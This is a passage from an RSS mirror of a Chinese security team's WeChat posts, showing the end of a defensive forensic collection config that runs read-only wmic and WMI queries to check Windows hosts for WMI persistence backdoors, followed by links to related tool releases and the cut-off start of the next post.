26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;get&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;*&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;wmic&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/namespace:&#34;\\root\subscription&#34;&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;path&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__FilterToConsumerBinding&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;get&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;*&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;COMMAND&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">cmd:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;wmic&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">args:</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/namespace:&#34;\\root\DEFAULT&#34;&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;path&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;__FilterToConsumerBinding&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;get&#39;</span></span><span leaf=""><br/></span><span leaf="">        </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;*&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WMI&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">base_object:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;root\subscription&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">query:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SELECT * FROM __EventFilter&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WMI&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">base_object:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;root\DEFAULT&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">query:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SELECT * FROM __EventFilter&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WMI&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">base_object:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;root\subscription&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">query:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SELECT * FROM __EventConsumer&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WMI&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">base_object:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;root\DEFAULT&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">query:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SELECT * FROM __EventConsumer&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WMI&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">base_object:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;root\DEFAULT&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">query:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SELECT * FROM __EventConsumer&#39;</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">-</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">type:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;WMI&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">supported_os:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows&#39;</span></span><span leaf=""><br/></span><span leaf="">    </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">attributes:</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">base_object:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;root\subscription&#39;</span></span><span leaf=""><br/></span><span leaf="">      </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">query:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;SELECT * FROM __FilterToConsumerBinding&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">version:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;0.0.1&#39;</span></span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">doc:</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;Windows 平台上 WMI 后门信息收集。&#39;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">采集 Windows 平台上 WMI 相关信息，用于判断是否存在 WMI 后门</span></p><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">目前 Windows 版本配置如上，如果大家有好的建议，可以提 PR 或者微信联系 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">just_hack_for_fun</span></code><span leaf=""> 反馈。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">往期文章</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"></span></h2><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502811&amp;idx=1&amp;sn=bdf64878bb87c64fb898881f5aadd82e&amp;scene=21#wechat_redirect" textvalue="OpenForensicRules 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">OpenForensicRules 发布！</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502819&amp;idx=1&amp;sn=66c9909519c95e1655978d666aba562d&amp;scene=21#wechat_redirect" textvalue="NOPTrace-Configurator 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">NOPTrace-Configurator 发布！</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502852&amp;idx=1&amp;sn=3d3f29e38705cbb244c6774bf883997a&amp;scene=21#wechat_redirect" textvalue="NOPTrace-Collector 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">NOPTrace-Collector 发布！</a></span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502889&amp;idx=1&amp;sn=c4a7e09b6b4123c47812e7666abefc77&amp;scene=21#wechat_redirect" textvalue="NOPTrace-Configs Linux版 发布！" data-itemshowtype="0" linktype="text" data-linktype="2">NOPTrace-Configs Linux版 发布！</a></span></p><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf=""><br/></span></p></li></ul></div><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="NOP Team" data-alias="yidalidemao" data-from="0" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/fZT30hrVgRftxytNjJnL5eOVg23jso0f1Xjf2t8ibBgUvibZjvSkOxsQdP2trmzlpmwBIQU9CObUr93c6p1qNHmg/0?wx_fmt=png" data-signature="有态度，不苟同    No System Is Safe！" data-id="MzU1NDkwMzAyMg==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ab853acf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8Yx0561yI5ibREo7WRRjqEqr6ibjBJKmgpGaASZXoibBJU6eX3fibL8jmLhA%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d0ed3536&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YPp7ZC4cRxtphpibZKQ4qw1pu7j3cPcJlQibf4sEBpV9PZTDz2G4D38QQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=49701030&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRe0pLlcktyXiciccPL1icB4T8YeOOWvVd0JVmflyHE8bbF0h8QdAZTOF88iaAQ1wj8Fcic6ibeGl2jeZShA%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247502961">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d679710e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NDkwMzAyMg%3D%3D%26mid%3D2247502961%26idx%3D1%26sn%3D7401dfc783a580ecfd151e0d72a25acb">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 09 Jul 2025 15:49:00 +0800</pubDate>
    </item>
    <item>
      <title>NOPTrace-Configs Linux版 发布！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247502889&amp;idx=1&amp;sn=c4a7e09b6b4123c47812e7666abefc77</link>
      <description>愿心中的火永不熄灭！</description>
      <content:encoded><![CDATA[<p>
原创 <span>NOP Team</span> <span>2025-07-08 19:22</span> <span style="display: inline-block;">北京</span>
</p>

<p>愿心中的火永不熄灭！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a4f9af49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfZT30hrVgRdClBWE6RciavT4ghpdpORPOG2CYTQCW1H87V2rHzwVQy6dzicLomWcALysnuiciaPcc9EWDsKUMKxScw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p nodeleaf=""><mp-common-clmusic class="res_iframe clmusic_iframe js_uneditable custom_select_card" data-pluginname="insertaudio" type="1" music_name="逃亡" albumurl="http://wx.y.gtimg.cn/music/photo_new/T002R500x500M000004U2Cn83dZlWt_3.jpg" singer="孙燕姿" count="0" is_vip="1" duration="285000" music_source="1" listenid="78224486037052512"></mp-common-clmusic></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: 